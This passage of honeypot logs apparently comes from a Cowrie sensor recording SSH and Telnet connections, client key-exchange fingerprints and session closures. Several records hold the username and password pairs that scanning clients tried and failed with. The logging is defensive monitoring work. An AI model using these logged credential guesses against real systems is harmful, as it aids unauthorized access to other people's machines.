penssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:16.983170Z","src_ip":"159.203.92.129","session":"795a9b6376ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alone","password":"alone123","message":"login attempt [alone/alone123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:16.996323Z","src_ip":"159.203.92.129","session":"795a9b6376ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:18.004544Z","src_ip":"159.203.92.129","session":"795a9b6376ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.33618140220642,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:18.807842Z","src_ip":"37.97.152.182","session":"6c89e67ee11e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":50992,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b17758536fa","protocol":"ssh","message":"New connection: 186.13.24.118:50992 (159.203.135.109:22) [session: 0b17758536fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:19.789150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:19.793840Z","src_ip":"186.13.24.118","session":"0b17758536fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60690,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bf78e63cd0b","protocol":"telnet","message":"New connection: 159.203.13.64:60690 (10.17.0.5:23) [session: 6bf78e63cd0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:19.938589Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:19.951852Z","src_ip":"186.13.24.118","session":"0b17758536fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":57268,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fb51303747b","protocol":"telnet","message":"New connection: 37.97.152.182:57268 (10.17.0.5:23) [session: 2fb51303747b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:20.127349Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60698,"dst_ip":"10.17.0.5","dst_port":23,"session":"cccb3d0d1cba","protocol":"telnet","message":"New connection: 159.203.13.64:60698 (10.17.0.5:23) [session: cccb3d0d1cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:20.400822Z"}
{"eventid":"cowrie.login.failed","username":"support","password":"supportuser","message":"login attempt [support/supportuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:20.604411Z","src_ip":"186.13.24.118","session":"0b17758536fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.199533700942993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:20.670633Z","src_ip":"37.97.152.182","session":"a11ada96e4f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:21.761211Z","src_ip":"186.13.24.118","session":"0b17758536fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.468806982040405,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:22.353804Z","src_ip":"162.253.42.116","session":"acfac5f862ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.804726123809814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:24.177204Z","src_ip":"37.97.152.182","session":"370a67a6be5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":56520,"dst_ip":"159.203.135.109","dst_port":22,"session":"921ace13191e","protocol":"ssh","message":"New connection: 103.215.80.173:56520 (159.203.135.109:22) [session: 921ace13191e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:28.102962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:28.107483Z","src_ip":"103.215.80.173","session":"921ace13191e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.49042844772339,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:28.124401Z","src_ip":"37.97.152.182","session":"1e4b9eb124b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56921625137329,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:28.307433Z","src_ip":"37.97.152.182","session":"b5628bd8239f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:28.631820Z","src_ip":"103.215.80.173","session":"921ace13191e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":49896,"dst_ip":"10.17.0.5","dst_port":23,"session":"034fb436b54a","protocol":"telnet","message":"New connection: 159.203.13.64:49896 (10.17.0.5:23) [session: 034fb436b54a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:29.352785Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"developer123456","message":"login attempt [ubuntu/developer123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:30.678674Z","src_ip":"103.215.80.173","session":"921ace13191e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":51750,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc379c3eacc5","protocol":"telnet","message":"New connection: 159.203.13.64:51750 (10.17.0.5:23) [session: cc379c3eacc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:30.902242Z"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:31.891068Z","src_ip":"103.215.80.173","session":"921ace13191e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.98596477508545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:32.715710Z","src_ip":"37.97.152.182","session":"73fda188fdaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.26.211","src_port":59908,"dst_ip":"159.203.135.109","dst_port":23,"session":"cebf7acd8267","protocol":"telnet","message":"New connection: 152.59.26.211:59908 (159.203.135.109:23) [session: cebf7acd8267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:33.814921Z"}
{"eventid":"cowrie.session.closed","duration":37.43922972679138,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:34.432868Z","src_ip":"159.203.13.64","session":"52fb467f05cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.01615858078003,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:34.907565Z","src_ip":"159.203.13.64","session":"df81e950438f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.536328554153442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:35.340029Z","src_ip":"37.97.152.182","session":"df0f9975ae00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.759715795516968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:35.739789Z","src_ip":"37.97.152.182","session":"3254bfa46957","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":51764,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6c759d85e80","protocol":"telnet","message":"New connection: 159.203.13.64:51764 (10.17.0.5:23) [session: b6c759d85e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:39.549536Z"}
{"eventid":"cowrie.session.closed","duration":33.94872522354126,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:40.447041Z","src_ip":"159.203.13.64","session":"65bf6f3d608a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.789379119873047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:41.531476Z","src_ip":"37.97.152.182","session":"147be07a292e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":37742,"dst_ip":"10.17.0.5","dst_port":23,"session":"24431ea75b14","protocol":"telnet","message":"New connection: 37.97.152.182:37742 (10.17.0.5:23) [session: 24431ea75b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:41.706428Z"}
{"eventid":"cowrie.session.closed","duration":31.008922815322876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:42.068316Z","src_ip":"37.97.152.182","session":"6d3555a8063c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":38044,"dst_ip":"10.17.0.5","dst_port":23,"session":"d783e12030e8","protocol":"telnet","message":"New connection: 37.97.152.182:38044 (10.17.0.5:23) [session: d783e12030e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:42.892347Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":51456,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba8ff5ccbc46","protocol":"telnet","message":"New connection: 80.252.221.197:51456 (159.203.135.109:23) [session: ba8ff5ccbc46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:43.940976Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":51468,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9a40b79e276","protocol":"telnet","message":"New connection: 80.252.221.197:51468 (159.203.135.109:23) [session: d9a40b79e276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:44.152866Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":51472,"dst_ip":"159.203.135.109","dst_port":23,"session":"3069e832a319","protocol":"telnet","message":"New connection: 80.252.221.197:51472 (159.203.135.109:23) [session: 3069e832a319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:45.084013Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":39528,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe3ce1e156e3","protocol":"ssh","message":"New connection: 45.78.194.242:39528 (10.17.0.5:22) [session: fe3ce1e156e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:46.066626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:46.071962Z","src_ip":"45.78.194.242","session":"fe3ce1e156e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:46.310931Z","src_ip":"45.78.194.242","session":"fe3ce1e156e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.382408142089844,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:47.197203Z","src_ip":"152.59.26.211","session":"cebf7acd8267","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.061768531799316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:51.000252Z","src_ip":"159.203.13.64","session":"6bf78e63cd0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96362829208374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:51.090574Z","src_ip":"37.97.152.182","session":"2fb51303747b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48440,"dst_ip":"10.17.0.5","dst_port":23,"session":"970fe66619e3","protocol":"telnet","message":"New connection: 159.203.13.64:48440 (10.17.0.5:23) [session: 970fe66619e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:53.606693Z"}
{"eventid":"cowrie.session.closed","duration":38.29884386062622,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:58.699596Z","src_ip":"159.203.13.64","session":"cccb3d0d1cba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36162,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e65aaede050","protocol":"ssh","message":"New connection: 159.203.92.129:36162 (159.203.135.109:22) [session: 7e65aaede050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:00.076663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:00.088754Z","src_ip":"159.203.92.129","session":"7e65aaede050","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:00.141033Z","src_ip":"159.203.92.129","session":"7e65aaede050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alpha","password":"alpha","message":"login attempt [alpha/alpha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:00.180622Z","src_ip":"159.203.92.129","session":"7e65aaede050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":52718,"dst_ip":"159.203.135.109","dst_port":23,"session":"9917dd1bcf1f","protocol":"telnet","message":"New connection: 80.252.221.197:52718 (159.203.135.109:23) [session: 9917dd1bcf1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:00.362315Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:01.207654Z","src_ip":"159.203.92.129","session":"7e65aaede050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":52976,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb86e0b64a53","protocol":"telnet","message":"New connection: 162.253.42.116:52976 (10.17.0.5:23) [session: eb86e0b64a53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:03.308718Z"}
{"eventid":"cowrie.session.closed","duration":34.38209128379822,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:05.284209Z","src_ip":"159.203.13.64","session":"cc379c3eacc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.567179679870605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:12.273396Z","src_ip":"37.97.152.182","session":"24431ea75b14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.16406798362732,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:12.516709Z","src_ip":"159.203.13.64","session":"034fb436b54a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.193760633468628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:13.085991Z","src_ip":"37.97.152.182","session":"d783e12030e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":56010,"dst_ip":"10.17.0.5","dst_port":23,"session":"4402bee19b76","protocol":"telnet","message":"New connection: 159.203.13.64:56010 (10.17.0.5:23) [session: 4402bee19b76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:16.262223Z"}
{"eventid":"cowrie.session.closed","duration":34.998459577560425,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:18.939349Z","src_ip":"80.252.221.197","session":"ba8ff5ccbc46","protocol":"telnet"}
